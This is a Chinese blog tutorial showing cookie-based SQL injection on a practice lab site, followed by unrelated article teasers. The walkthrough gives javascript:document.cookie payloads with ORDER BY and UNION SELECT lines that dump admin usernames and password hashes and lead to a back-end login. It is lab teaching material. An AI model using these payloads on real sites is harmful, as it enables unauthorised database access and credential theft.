百度360必应搜狗淘宝本站头条
docker systemdzabbix微信报警脚本loadjsqt5.5pagination.js
当前位置：网站首页 > 技术教程 > 正文

再一次重现sql注入，黑客技法详解

suiw9 2025-04-05 22:28 6 浏览 0 评论

经过了我们前段时间的sql注入学习，今天我们来深入学习一下sql注入之cookie注入

首先我们打开靶场环境

随便点开一篇文章

尝试在结尾构造一下 and 1=1

可见是使用了防注入的，但是目前我们是使用get方式提交的参数,我们将id=171包括后面的全部删除一下试试

显示数据库出错

这里存在cookie注入，首先我们恢复成原来的界面

然后我们下载一个ModHeader浏览器插件，将cookie设置为id的值。然后我们访问

其去掉后面?id的网页，发现并没有显示数据库出错了

然后将IE栏清空，输入

javascript:alert(document.cookie="id="+escape("171"));

这个语句就是构造一个JS，把内容插入到cookie里面去

返回出一个id=171

然后我们来手工注入一下他的字段数

javascript:alert(document.cookie="id="+escape("171 order by 10"));

可以知道他有10个字段数

然后我们里显示他的值

javascript:alert(document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin"));

再刷新一遍发现显示2，3

然后我们来破解账号和密码

javascript:alert(document.cookie="id="+escape("171 union select 1,password,username,4,5,6,7,8,9,10 from admin"));

得出来MD5加密后密码，解密后welcome，然后就可以登录后台了。

最后喜欢我文章的朋友请加圈子关注我们，私信关键词：加群。（送免费资料和优惠券）

就会自动分享给你群号。欢迎大家加入我们的安全大家庭。提高大家的安全意识，提升大家的网络安全技能一直是我们的初衷和愿景，让我们共同成为守护信息世界的"SaFeMAN"。

还有可以关注我们微信公众号，在公众号上输入安界网，就可以关注到我们，领取资料和优惠券！

相关推荐

交互设计师做好动画后，提交给开发的文档有哪些?

谢邀！简单的说一下自己的看法。首先从制作动画开始。目前制作动画的方式主要有：Gif动画视频动画Web动画，而Web动画又包括：CSS动画、JS动画（Canvas动画、原生JS动画API）、SVG动画等...

8个提高效率的设计工具分享（8个提高效率的设计工具分享心得体会）

日常工作实在繁忙，如果我们可以使用一些辅助工具的话，可以加快和更好地实现自己的项目。今天整理8个新设计工具和插件给办公白领们，希望大家喜欢。1、ScrollmejQuery插件这是一个有点类似视差滑...

有哪些优秀的图片素材网站，你却不知道?

关于设计素材、图片、源文件的网站有很多。但是今天我给大家推荐几个特别好用的。总有些人没用过文章现在今天就分享3个。还有其他不错的网站需要的话可以加我微信（gla2016）我给你发链接。一、视图网（ht...

Rainyday.js – 实现雨滴效果JS插件

Rainyday.js背后的想法是创建一个JavaScript库，利用HTML5Canvas渲染一个雨滴落在玻璃表面的动画。Rainyday.js有功能可扩展的API，例如碰撞检测和易...

JavaScript如何入门?（javascript初级教程）

1,建议阅读“javascript高级程序设计”第三版电子版。（我刚开始学习，我向表哥（软件工程师）说我想做前端，于是，他帮我买了这本书，好的书大家都会推荐，很容易在网上找到，也没有必要我说一定是这...

苏州网页设计- 网页设计中的备份与恢复指南?

苏州网页设计-网页设计中的备份与恢复指南？-常见问题-苏州网站建设-苏州网页设计-苏州网络公司五一点创网络科技...

做设计还只知道花瓣包图网?这100+个免费商用素材网站送给你

作为设计师你常用的网站是哪些呢？花瓣？站酷？千库？千图？包图？这些网站确实是大家最常用的网站，各种风格的元素、模板、源文件，用起来可以说是得心应手了~但是一旦出现了这个场景，你就也跟着崩溃了........

如何打开PSD格式文件?（如何打开.psd文件）

设计师在交接文件时，会看到各种格式的扩展文件，不同的格式需要不同的软件来运行。大多数人都听说过流行的文件格式PSD，因为它是最常用的图片格式之一，还有JPG、PNG等。然而，与JPG和PNG不同的是，...

2.3 文件格式全解:PSD/JPG/PNG/SVG/GIF

2.3文件格式全解：PSD/JPG/PNG/SVG/GIF一、文件格式的核心意义文件格式是数字图像的存储规则，决定了：-信息保留程度（图层/透明度/动画）-压缩方式与画质损失...

一周国外众筹项目精彩看点（国外众筹模式）

安珀网（公众号：ianpocom）上周介绍的1款Kickstarter众筹新品是：Skugga智能太阳镜。而在Indiegogo众筹的2款新品分别是AllBe1多功能智能家居安防产品、Pura智能猫...

React-Native 样式指南（react-native-view-shot）

React-Native样式指南React-Native的样式基本上是实现了CSS的一个子集，并且属性名不完全一致，所以当你开始在编写React-Native之前，可以先简要了解一下。...

分光测色仪在铂钴色度测定上的应用

纺织、印染、石油、电池等化工行业，在生产过程中往往会产生很多工业废水，检测废水色度的国家标准主要采用铂钴比色法和稀释倍数法。...

无线充电的智能追踪挂件 Tintag（无线充电gps定位跟踪器）

智能追踪挂件给生活带来无尽的欢乐，缩短了人们寻找物品的时间，也给生活增添了一份保障，对于经常丢东西的人来说，简直是福音。智能追踪挂件作为智能产品的领头羊、排头兵，也会面临炮灰的风险，人们使用时经常将其...

鸿蒙底部导航栏 vs 安卓底部导航栏

BottomNavigationBar底部导航栏，可以说所有的App是这样的页面架构，原因很简单，操作简单，模块化清晰，页面切换流畅，而且每页都可以展示不同的风格。...

Andriod APK体积优化（android包大小优化）

...

取消回复欢迎 你 发表评论:

一周热门
最近发表
标签列表
Copyright Your WebSite.Some Rights Reserved.